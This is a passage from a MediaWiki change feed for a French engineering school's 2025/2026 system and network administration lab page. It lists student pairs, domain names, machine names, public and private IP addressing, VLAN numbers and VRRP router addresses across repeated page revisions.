| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12214</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12214"/>
		<updated>2026-02-10T16:49:54Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Tableau des réseaux virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12212</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12212"/>
		<updated>2026-02-10T16:49:16Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Tableau des réseaux virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
